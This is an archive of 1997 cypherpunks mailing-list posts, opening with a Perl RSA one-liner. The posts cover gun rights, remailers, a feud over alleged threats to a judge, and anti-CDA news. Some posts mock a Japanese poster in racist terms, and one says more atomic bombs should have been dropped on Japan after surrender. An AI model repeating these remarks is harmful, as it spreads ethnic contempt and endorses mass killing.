print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 14 Nov 1997 01:22:22 +0800
To: Fisher Mark <cypherpunks@cyberpass.net>
Subject: RE: Br'er Tim and the Bug Hole
In-Reply-To: <2328C77FF9F2D011AE970000F84104A7493430@indyexch_fddi.indy.tce.com>
Message-ID: <v03102802b090d5290cea@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 6:39 AM -0700 11/13/97, Fisher Mark wrote:

>I think you are falling into the "map _is_ the territory" mistake here,
>Bob.  Tim is just speaking his mind, lucidly and forcefully as usual.
>(The same way you do, which is why I enjoy reading both your posts so
>much, although your prose styles differ so greatly.)  Tim isn't "waving
>your Glock at the local sherriff" -- he is talking about his actions if
>law enforcement decides to violate the Constitution personally upon him.
>Although it is certainly the case that all rights, at their boundaries,
>may be observed more in the breech, I don't think the situation is so
>bad _yet_ that Tim has to lay awake nights worrying about a no-knock.

Indeed, I'm saying I plan to defend myself should a Donald Scott-type
predawn raid occur. (The FBI fax about gun stockpilers, the Northwest
connection, the Jim Bell sentencing at about the same time, and other
indicators tell me that the upcoming months could be crucial.)

>Tim, I guess I see you as someone who has spotted a bunch of
>thunderclouds on the horizon, so you have decided to stock up on
>raingear before the deluge.  But, with a little luck and a lot of common
>sense on the part of the populace, neither Tim nor anyone else will have
>to go through that particular hell.  As one additional datapoint, when

Yep, "there's a storm coming." A great line from a great movie.

Those "increasing numbers of laws I'm a felon under" are how the government
threatens those who speak out, those who exercise constitutional rights.
Civil forfeiture, RICO, and selective prosecution are becoming major tools
to suppress dissident actions.


>Tim, from what I understand of what he said, is just getting prepared if
>the worst comes.  One of the functions of this list as I see it is just
>this sort of preparation, which can often stave off the actual worst.
>If those who would desire this sort of power over the population are
>made aware that the population won't stand for it, they are less likely
>to continue to seek that level of power.

Just so.

Frankly, I have a lot more interest these days in practicing down at the
gun range than I do in trying to "do crypto" by, for example, wading
through the SET specs.

(I heard some talks on SET at last year's Hackers Conference, and it was
mind-numbingly boring stuff. Several pounds of bureaucratic bullshit. And
nothing to do with Cypherpunks goals, either. Just a credit card company
spec, about as Cypherpunkish as exploring printer driver protocols.)

For those forced by their employers to work on SET, may you pray at the
Temple of SET, San Francisco Zodiac Chapter. I'll be somewhere else.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 14 Nov 1997 01:27:59 +0800
To: Robert Hettinga <cypherpunks@Algebra.COM
Subject: Re: Mad as Hell
In-Reply-To: <v03102801b08ffcdcfb0f@[207.167.93.63]>
Message-ID: <v03102803b090d9440404@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:03 AM -0700 11/13/97, Robert Hettinga wrote:
>At 7:56 pm -0500 on 11/12/97, Tim May wrote:
>
>
>> No doubt Bob Hettinga thinks my mention of this case is dangerous, that
>> good little bunny rabbits don't make Big Brother angry.
>
>:-). Actually, Tim, I don't think it's dangerous, at least to me
>personally, and to anyone else on this list, for that matter. What I said
>was, you're counterproductive to your own cause (you could become a poster
>for statism, as I said before), and, if you continued to directly threaten
>the lives of people who had the power to hurt you, in public, with direct

You have now repeated this "Tim has directly threatened the life of a
federal judge" charge several times.

This is false.

You claim I am doing "the cause" a disservice. I claim you are spreading
misinformation and trumping up a charge which you must hope is being read
by the Feds.

You sicken me.

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 13 Nov 1997 22:51:14 +0800
To: tcmay@got.net
Subject: Re: Minor Language Note
In-Reply-To: <v03102802b08fe06c4c97@[207.167.93.63]>
Message-ID: <199711131442.JAA19758@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



The current? US New & World Report has a cover story on terrorism, in
which they report on James Dalton Bell.  Pictures, claims that we're
right wing extremists, the whole shebang.  James Dalton Bell does
sound more threatening than Jim Bell.  And as to your list, Tim, many
of the people you quote are either long dead or serious troublemakers.
(Robert Anton Wilson).  It does seem that the full name invocation is
intentional.

Adam


Tim May wrote:
| 
| >> While it was not Tim's intention to make Jim look like a criminal, the
| >> use of a defendent's full name is often used to connote criminality.
| >>
| >> Lee Harvey Oswald, John Wilkes Booth, John Wayne Gacy, Richard Milhous
| >> Nixon, William Jefferson Clinton... there are many examples.
| 
| George Washington Carver, James Fennimore Cooper, Richard Dean Anderson,
| Clare Booth Luce, Robert Anton Wilson, Francis Scott Key, .....
| 
| Your point was what, Monty?
| 
| (Sometimes people have three names, sometimes two names, popularly used.
| Criminality has little to do with it. For example, Richard Speck, Charles
| Manson, John Walker, Aldrich Ames, Ted Kaczynski, Timothy McVeigh, Terry
| Nichols.  Most of them presumably have middle names.)
| 
| Oh, and as to divining what Tim's "intention" was, this mindreading and
| psychoanalysis shtick is getting old.
| 
| --Tim May
| 
| The Feds have shown their hand: they want a ban on domestic cryptography
| ---------:---------:---------:---------:---------:---------:---------:----
| Timothy C. May              | Crypto Anarchy: encryption, digital money,
| ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
| W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
| Higher Power: 2^2,976,221   | black markets, collapse of governments.
| "National borders aren't even speed bumps on the information superhighway."
| 
| 
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 14 Nov 1997 01:54:30 +0800
To: cypherpunks@Algebra.COM
Subject: Weapons on the Web, and mention of remailers
Message-ID: <v03102804b090db9f91b4@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




This is from http://techweb.cmp.com/ng/online/current/specials/guns/guns2.htm

Lots of misinformation and disinformation. Perfectly legal items are
referred to as "banned." Scare tactics about silenced machine guns, sniper
rifles, and even "speed loaders to load all of the cylinders of a revolver
at once" (horrors! does the author know that every gun store I've ever been
in sells these things for about $6 each?).

One quote even refers to "our" technologies: "It might seem that the
contents of rec.guns alone could be easily monitored for illegal
transactions. However, my sources have shown me that with the availability
of anonymous remailers and several sources of digital cash, it is
increasingly possible for seller and buyer to never know who the other
party is or where they are."

(This of course is nonsense, about the digital cash, etc. If one exchanges
an item in physical space, at least for now there is some mailing or
shipping nexus. (Anonymous drops in storage lockers are a possibility,
though ripe for stings.) Certainly I have never heard of a digital cash
transaction for a gun...and not for a lot of other things, either.)

In view of the Paladin case, the Feinstein "bomb-making instructions ban,"
and calls to shut down gun shows, this article may give some tips on coming
actions. And the plans for the Federal Trade Commission and Food and Drug
Administration to start cruising the Web looking for illegal speech also
provides a clue.

Personally, I'm beginning to think

--Tim May


--begin quote--

Threaded Chat
The rec.guns group is a bit like a combination of Town Hall and Market
Square in Firearms Land. People sound off about government regulations, at
any level, in any locale. Disgruntled users warn others about substandard
products. New members ask advice and old hands compare notes on match grade
ammunition. Once I saw an advisory posted to all people who had bought
surplus East German ammunition. This writer had acquired an old East German
technical manual that showed the exact chemical composition of the
propellant charges in their bullets. It included a warning that after 5
years, the charges could chemically degrade and become subject to misfires
or dud rounds, a useful thing to know about if you happen to be holding
some of said ammunition, certainly. There are also quite a lot of messages
on rec.guns on the best legal way to buy a gun online (decidedly not the
procedure followed by Z and many others).

But rec.guns is also a marketplace: long banana clip magazines (usually
30-40 shot magazines for semiautomatic rifles that were banned under the
Assault Rifle ban; of course, all these are advertised as being
manufactured "pre-ban"), speed loaders to load all of the cylinders of a
revolver at once, equipment for hand-loading one's own ammunition, and, of
course, guns: revolvers, semiautomatic pistols, rifles, shotguns, and
others. One night while writing this article I saw a Galil for sale. The
Galil is an Israeli-made assault rifle, rated as one of the best in the
world. On an earlier visit I saw an ad for quantities of Dragunovs. The
Dragunov was the standard issue sniper rifle for the Red Army. In the hands
of a sharpshooter, such a gun can be accurate to within inches at ranges
out to 2/3 of a mile. And given the present state of the economy in Russia,
we are likely to see more, not less, of any of the standard Russian
weapons, Dragunovs and others.

It might seem that the contents of rec.guns alone could be easily monitored
for illegal transactions. However, my sources have shown me that with the
availability of anonymous remailers and several sources of digital cash, it
is increasingly possible for seller and buyer to never know who the other
party is or where they are.

That becomes even more of a concern on the World Wide Web, where, just as
all other forms of advocacy and commerce are flourishing, so are firearms
advocacy and sales. The NRA is online; everyone knows their position. At
Sniper Country/Extreme Shooting Sports, the motto is "happiness is a
confirmed kill," and you can learn all about famous and infamous snipers.
At Shootin' Stuff you can read comparisons of handguns for home or self
defense use, including the Makarov 9mm, the sidearm once issued only to
officers in the Red Army. You can even download images of slugs being fired
from a stationary rifle held in a vise.

If this puts you in a buying mood, you can travel over to Stokes's Firearms
Enthusiasts' Web Magazine, where a graphic of a silenced submachine gun
greets you. When I first went to this site earlier this year, it was open
and anyone could peruse the ads and offerings; now, however, a password is
required.

For those who lack patience or don't want yet another net password, there
are sites that offer immediate access to their ads. The Champion Firearms
Home Page, Guncraft Sports Web Pages, and the Electronic Gun Shop are all
open for business now. They offer, variously, revolvers, semiautomatic
pistols, rifles, and shotguns. It must be emphasized that there is nothing
illegal about any online gun commerce; there are existing laws and
regulations that do cover the situation. But when UPS, however unknowingly,
delivers 9mm pistols, it is clear that ignoring the existing rules is
accomplished rather easily online, a point that applies for any other sort
of online commerce, whether presently regulated by law or not.
...

--end excerpt---









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 14 Nov 1997 01:58:18 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <v03102805b090df9980d5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:42 AM -0700 11/13/97, Anonymous wrote:

>This illustrates what a liability the poster has become to the cypherpunks.
>The group is becoming just another militia front, identified with racism
>and white supremacy, applauding violent murder of government agents,
>one step from applauding the Oklahoma killings.  Its original purpose
>all but forgotten, the list has died, poisoned by the hatred flowing from
>its leader.

If you don't like my views, use your filters.

Or set up Yet Another Personal List (like those set up by Perry, Lewis,
Declan, Bob, Nick, and others). Then you can exclude me from your YAPL. The
Cypherpunks list is, unlike these YAPLs, uncensored, unfiltered at the
source, and open to any and all subscribers.

I call em as I see em when it comes to our Japanese (in name, as he may
actually not be Japanese, given his "hotmail" account) who sends us his
"send me money I send you Misty code" crap.

--Tim May



The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 14 Nov 1997 02:39:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Weapons on the Web, and mention of remailers
In-Reply-To: <v03102804b090db9f91b4@[207.167.93.63]>
Message-ID: <v03102807b090e75e5428@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:46 AM -0700 11/13/97, Tim May wrote:

>In view of the Paladin case, the Feinstein "bomb-making instructions ban,"
>and calls to shut down gun shows, this article may give some tips on coming
>actions. And the plans for the Federal Trade Commission and Food and Drug
>Administration to start cruising the Web looking for illegal speech also
>provides a clue.
>
>Personally, I'm beginning to think

This got sent before I finished this comment. Here's the rest:

Personally, I'm beginning to think that "regulation of commerce" will be a
major tool for controlling the Web and the Net in general. Under the
precedent that commercial speech is not as protected as, say, political
speech (*),

(* though even political speech is coming under pressure, as shown by
"campaign finance laws" which limit the speech rich people or corporations
may exercise in support of others or of causes)

we may seet "bots" patrolling cyberspace looking for mentions of contraband
items, looking for evidence of offerings of items for sale, and checking
for illegal claims, false advertising, etc.

Some of us, like me, are fairly open about our viewpoints, our lifestyles,
and our supplies of guns and other such things. In fact, I view my "up
frontness" as one of my best protections.

But others will fear that comments made in rec.guns, or rec.pyrotechnics,
or rec.woodworking (*), will generate unwelcome attention.

(* One longtime Cypherpunk received a visit from the FBI during the
Unabomber search. His interest in woodworking, and his subsriptions to
woodworking magazines, and his connections to the Berkeley math department,
all caused him to "fit the profile," it would seem. (Never mind that he was
in high school or earlier when the Unabomber started his bombings.))

Being "up front" is a lot easier than keeping a solid cover, watching every
post for slips, using digital pseudonyms religiously and without ever
slipping up or providing clues for correlation analysis. Your mileage may
vary, but I prefer to be out in the open about my views and (most of) my
activities.

--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 14 Nov 1997 00:20:18 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Br'er Tim and the Bug Hole
In-Reply-To: <199711130046.SAA02417@dfw-ix6.ix.netcom.com>
Message-ID: <v04002727b090b930190b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


At 8:31 pm -0500 on 11/12/97, Tim May wrote:


> Thank you. And contrary to what Hettinga claimed in one of his posts, I
>did not call for a judge to be killed. (Though, as I understand the law,
>that's not in and of itself illegal.) What I said was that the judge(s) in
>the Paladin case had committed a capital crime. Saying, for example, that
>OJ committed a capital crime is not uncommon, so why should judges be
>exempt from similar opinions?

Fair enough. However, I'm sure that any average junior-college educated
"BATFag" agent, or whatever, would read that stuff exactly as you intended
it. As a violent threat against a judge. No amount of sophistical
gerrymandering of pseudolegal semantics after the fact will dissuade the
guys with the leftover NATO toys from showing up and leaving their own
calling cards, to quote someone here recently.

> What we are seeing with Hettinga's anguished armchair analysis of me and
>my motivations is a lot of overly personal, even fixated, attention on me
>and my life. He pretends to know my social life, pretends to understand
>why I won't just tone down my comments and not rock the boat. Utter
>nonsense.

Speak for yourself, Tim. Actually, I think this entire argument of yours is a
red herring. To the extent that I, like most of the remaining members of this
list, stick around because you ocassionally say something very interesting is
not prima facie evidence of a "fixation" as you call it. Guessing at your
possible motives for doing some patently foolish things lately has become a
pretty good pastime among those who have read, and respected, what you've
written here on cypherpunks over the years. Call it armchair psychology, if
you want.

> I fully agree, and have not said I expect a full-scale assault on me, nor
> have I said I would expect to win such a war. The context of my recent
> comments about guns was the Gun Shows recently.

And the context of other comments within recent memory has been about
how much ammunition you have, how you've covered your property with sensors,
how you've reinforced various doors and windows, how you've put firearms
around your house, all just waiting for an eventual assault. All prudent
measures, mind you, if taken privately. And if you weren't also threatening
federal officials with their lives on a public email list.

:-).


> (I haven't seen Hettinga foaming at the mentions by certain other
> Cypherpunks of the Cypherpunks Shooting Club (which I am too far away from
> to attend, by the way). Nor did I see him remonstrate against the list
> member who brought his AR-15 carbine to a Cypherpunks meeting and held it
> up, like any good revolutionary holding up his Kalashnikov.)

Nope. You haven't. And I know members of the Cypherpunks Shooting Club, and,
while the AR-15 gag was a little silly, it can probably be chalked up to,
the um, irrational exuberence of youth, or something. :-).

I also happen to know that the person with the AR-15 bought it for personal
defense, probably brought about by the kind of quasi-millenial FUD going
around these days, and not to bring down the new world order or something.

I mean, some of my best friends are gun nuts. :-). I'd even let my daughter
marry one, if I had a daughter. Wish I could go out and play with a varmit
rifle, myself. I've read "Unintended Consequences" at the request of a gun nut
friend, :-), and it was well worth reading, if for all the gun lore alone.
Someday, it would even be nice to go shooting, if I can be trusted on a range,
anyway.

However, Tim, *none* of those people you've mentioned, and, frankly, no one I
know of but you, has effectively broadcasted a threat to kill federal
officials, or, to interpret it charitably, a not-so elliptical request to have
federal officials killed, ala "Beckett". Or a blanket invitation to a midnight
fandango on a California hilltop, for that matter.


> It happens that a lot of totalitarian moves are happening at this time. My
> "Mad as Hell" article lists a bunch of them. CDA clones, new crypto
> legislation, Clinton banning importation of fully-compliant foreign
> weapons, etc.

Yup, and it should be brought to people's attention, (like I'm pointing out
your present silliness),  paid attention to, and taken care of by saying,
publically, how silly, illegal, and draconian it all is. Calling for the
assassination of a judge won't get the job done, however.


Personally, I think the best way to stop all statist crap in its tracks is to
make it economically unrealistic to ban cryptography and anonymity, and the
best way to do that is with the widespread development and use of the
strongest possible financial cryptography. And, of course, the best way to do
that is to create internet transaction settlement protocols which are
so much cheaper to execute than any other way to move money, that they are
ignored at the economic peril of the country which tries to control them. I
find the fact that most of these transaction protocols, such as Chaum's blind
signatures, will prove to be cheaper *because* they're anonymous, more than a
little intriguing, myself. :-).


Nonetheless, whatever people themselves do to make strong crypto happen, it
sure beats wasting time with lawyers (ala EFF and CDT), and now, with this
Fortress Mayñana adventure, guns. Well, offensive threats with guns, anyway.
(And certainly not, of course, with money, to drag Warren Zevon into it. :-)).


I seem to remember someone saying "Cypherpunks write code" around here, once.
That's because running code is a fait accompli. Reality is not optional.


Yes, Tim, I know. You've forgotten more about cryptography and software than
I will ever learn, and you're right. The fact remains, nonetheless, that
you're wasting that all that hard-won experience and information if it has a
9mm hole in it.

> And the rumors are mounting about a series of possible raids around the
>holidays this Thanksgiving Day. The FBI has acknowledge the fax sent out
>as legitimate.

I have one question. Exactly what are you going to say, having made this
incredible prediction of your impending seige at Casa Timothy, when nothing
happens? Are you going to march into the local FBI office and demand that
they lock you up, or something? Exactly how does escalating a violent
confrontation with people who wouldn't care about you otherwise do anything
more than make them want to shut you up the hard way?

More to the point, exactly how does it speed the deployment of cryptography
and privacy?

"Ah", as an Irish friend once used to say, "there's that, isn't it?"


> While militia members and Cypherpunks may not be able to withstand a full
> out war for very long, the mere willingness to defend oneself can itself
> act as a deterrent. This is basic game theory, basic strategy.

With, of course, as Tim ("we're just a mailing list", "anarchy is about no
leaders") May, as Maximum Generalissimo of the Revolution, or better yet, as
the Old Man on the Mountain?

Give me a break.

> Scared bunny little rabbits who tone down their words so as not to make
> their masters angry at them will not be any safer, ironically enough.

Yup, Tim. That's me. A slave. </CatoKalienMode> Hold on? I've got a tattoo
on my forearm somewhere? Nope? That's right... they gave me an implant? I
know I have one, too? because at night? they *talk* to me through it?...
</CKM>

The ganglia twitch. Call it ameteur psychology, I suppose.


Cheers,
Bob Hettinga


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-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 14 Nov 1997 00:54:58 +0800
To: Declan McCullagh <jseiger@cdt.org>
Subject: Re: CDA: The Sequel -- introduced in the U.S. Senate
In-Reply-To: <v03102809b0909ec791b0@[204.254.21.165]>
Message-ID: <v0400272db090db000ad9@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:51 am -0500 on 11/13/97, Declan McCullagh wrote:


> Bruce "CDA" Taylor

Nit. It's not Bruce "CDA" Taylor. It's Bruce "Penis with a Blister on it"
Taylor.

A moniker assigned to Mr. Taylor for his continued repetition of the phrase
into a microphone, in order to drown the speech of someone on a panel with
him at CFP96.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 14 Nov 1997 00:52:51 +0800
To: cypherpunks@cyberpass.net
Subject: Tim May's offensive racism (was: about RC4)
Message-ID: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



> At 10:37 PM -0700 11/12/97, Nobuki Nakatuji wrote:
> >There are RC4 sourcecode in ftp.replay.com.
> >but, Is it  same RC4 developed RSADSI ?
> >
> 
> It am developed.
> 
> You go back where you came. You go back hotmail. We tired your stupid
> questions on RC4 and your Misty posts.
> 
> Sayonara!
> 
> (And they wonder why we kicked Japan's butt.)
> 
> --Tim May

This illustrates what a liability the poster has become to the cypherpunks.
The group is becoming just another militia front, identified with racism
and white supremacy, applauding violent murder of government agents,
one step from applauding the Oklahoma killings.  Its original purpose
all but forgotten, the list has died, poisoned by the hatred flowing from
its leader.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 14 Nov 1997 00:58:02 +0800
To: cypherpunks@toad.com
Subject: Find the Mole in the Mirror
Message-ID: <1.5.4.32.19971113164457.00bf071c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Monty Cantsin wrote:

>The right thing to do is to assume there are a certain number of moles
>around and engineer your activities accordingly.  If you really think
>you can Find The Mole, then I would think your first step is to keep
>quiet about what you are doing.

Like, if you will, Monty Cantsin, the venerable generic pseudonym
for sub rosa strategems. You fingering yourselves, Monty?

If you haven't been IDed as a mole here yet, you will, probably by
your own woefully engineered statements.

All of us are moles for one ideology or another, maybe for
several if the blowing wind tosses us that way. What's the
point of being here if not for relishment of deceitful faux combat, to
draw out the enemy (enemies) as Tim and Bob admirably display
in their artful allure of ulterior motivated peacemakers and
condescendors, me for one, as Declan love jousts CDT,
as many us pisswind DC, NWO, ZOG, Armenians, Nipponese. 

A mole is a disguise of something more treacherously insidious 
than that, say, a rational human, a benevolent mediator, an advocate 
for peace, for justice, for the constitution, or another an unadmitted 
plot for no-work supremacy through criminal law (lawful crime).

The mole(s) here are known, look in the mirror, and marked by the 
beast, look closely in the mirror, for XORing, their coming in all 
conceivable disguises welcomed, then tricked, attacked, ridiculed, 
and finally filtered, erased, deleted, plonked, censored, to resub
pseudonymously, rebooted, zapped, ignored, still we-they come 
back for more S&M, it's an addictive calling to evangelism, 
anon-remailer generic pseudonym reputation-capital real and 
imagined Ritalin nirvana. 

Nothing better to do with wasted lives, the option of getting one is 
a dream long gone. Faking one is all that's left, the mole in the
hole.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Fri, 14 Nov 1997 03:54:49 +0800
To: cypherpunks@cyberpass.net
Subject: (Fwd) Victory For Microbroadcasting!!!!
Message-ID: <199711131942.LAA29385@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



------- Forwarded Message Follows -------
Date:          Thu, 13 Nov 1997 10:45:16 -0800 (PST)
From:          gregruggiero@earthlink.net (Greg Ruggiero)
Subject:       Victory For Microbroadcasting!!!!

Friends,

This should raise the hopes of all microbroadcasters.  We, who oppose
the barriers against free communications and the corporate takeover of
our media institutions, need to do all we can to ensure that the
airwaves really become free.

Support your local alternative media.

 Howard Rosenfeld

----------------------------------------------

ANOTHER VICTORY FOR FREE RADIO BERKELEY & MICROPOWER BROADCASTING

At 7 PM on Thursday, [ed: correction - Wednesday] November 12
attorneys for Stephen Dunifer & Free Radio Berkeley received a 14 page
decision via fax from Federal District Court Judge Claudia Wilken
announcing her ruling in favor of Stephen Dunifer and Free Radio
Berkeley. Her ruling denies the FCC's motion for summary judgement for
a permanent injunction, states that she has jurisdiction in this case
and that the FCC's regulatory structure is unconstitutional. Further,
she orders the FCC to submit within 14 days a brief on the
constitutional issues raised. Essentially Judge Claudia Wilken affirms
all the merits and arguments raised by the defense attorneys for
Stephen Dunifer and Free Radio Berkeley. Stay tuned for further
details. The full text of the decision will be posted ASAP. A victory
party will take place on Saturday evening, November 15 in Berkeley.
Place to be announced as soon as one is secured. Everyone is invited.

Stephen Dunifer
Free Radio Berkeley

*******************************************************************

                                              NEW YORK
Media for Change         <<< FREE MEDIA >>>     Changing the Media
                                               ALLIANCE

                              listserve: nyfreemedia@tao.ca
                                voicemail: (212) 969-TOFM
              website: http://artcon.rutgers.edu/papertiger/nyfma

*******************************************************************








=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://ross.adnetsol.com
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Fri, 14 Nov 1997 02:46:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Tim May's offensive racism (was: about RC4)
In-Reply-To: <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>
Message-ID: <199711131837.NAA19756@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <42ca13f9d34086b1b366bbfe8ab5e9da@anon.efga.org>, on 11/13/97 
   at 11:42 AM, Anonymous <anon@anon.efga.org> said:

>> At 10:37 PM -0700 11/12/97, Nobuki Nakatuji wrote:
>> >There are RC4 sourcecode in ftp.replay.com.
>> >but, Is it  same RC4 developed RSADSI ?
>> >
>> 
>> It am developed.
>> 
>> You go back where you came. You go back hotmail. We tired your stupid
>> questions on RC4 and your Misty posts.
>> 
>> Sayonara!
>> 
>> (And they wonder why we kicked Japan's butt.)
>> 
>> --Tim May

>This illustrates what a liability the poster has become to the
>cypherpunks. The group is becoming just another militia front, identified
>with racism and white supremacy, applauding violent murder of government
>agents, one step from applauding the Oklahoma killings.  Its original
>purpose all but forgotten, the list has died, poisoned by the hatred
>flowing from its leader.

Leader?!? Leader what leader??? ROTFLMAO!!!!

If any group was absent of "leadership" this is it. Finding a leader of
anarchists is like trying to find truth in DC.

FWIW: ol' Harry should have droped a couple more *after* their surrender
for good measure.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Nov 1997 04:44:27 +0800
To: cypherpunks@toad.com
Subject: "Son of CDA" Ignores Supreme Court Ruling, ACLU Says
Message-ID: <Pine.GSO.3.95.971113121510.9215A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 13 Nov 1997 14:40:23 -0500 (EST)
From: Emilyaclu@aol.com
To: Emilyaclu@aol.com
Subject: "Son of CDA" Ignores Supreme Court Ruling, ACLU Says

                                ACLU Says New Internet Censorship Statute 
                                       Ignores Landmark Supreme Court Ruling

FOR IMMEDIATE RELEASE: Thursday, November 13, 1997
Contact: Emily Whitfield, (212) 549-2566

WASHINGTON--New legislation  aimed at banning online material deemed "harmful
to minors" would run roughshod over the landmark Supreme Court decision
affirming free speech on the Internet, the American Civil Liberties Union
said today.

The ACLU, which led the successful battle to defeat the unconstitutional
Communications Decency Act (CDA), said S. 1482, like the CDA, would restrict
adults from accessing constitutionally protected speech.  The bill was
introduced earlier this week by Sen. Dan Coats, R-IN, an original sponsor of
the ill-fated CDA.

Under the statute, commercial online distributors of material deemed "harmful
to minors" could be punished with up to six months in jail and a $50,000
fine.  The definition could include the virtual bookstore amazon.com or a
promotional site for a Hollywood movie, as well as Internet Service Providers
(ISPs) such as Microsoft and America Online, the ACLU said.  And unlike the
CDA, the statute applies only to web sites, not to chat rooms, e-mail or news
groups.

"By claiming that the bill addresses only web sites involved in commercial
distribution, Senator Coats says he is 'hunting with a rifle,' but in fact,
he has lobbed another virtual grenade into the heart of the Internet" said
Ann Beeson, an ACLU National Staff Attorney and member of the legal team that
defeated the CDA. 

Any business merely displaying material without first requiring a credit card
or other proof of age could be found liable under the statute, which
criminalizes commercial distribution of words or images that could be deemed
"harmful to minors," even if no actual sale is involved, Beeson said.

"This is the equivalent of having to pay a fee every time you want to browse
in the bookstore or watch a trailer for an R-rated  movie," Beeson said.  "As
the Supreme Court noted in its landmark decision,  requiring a credit card or
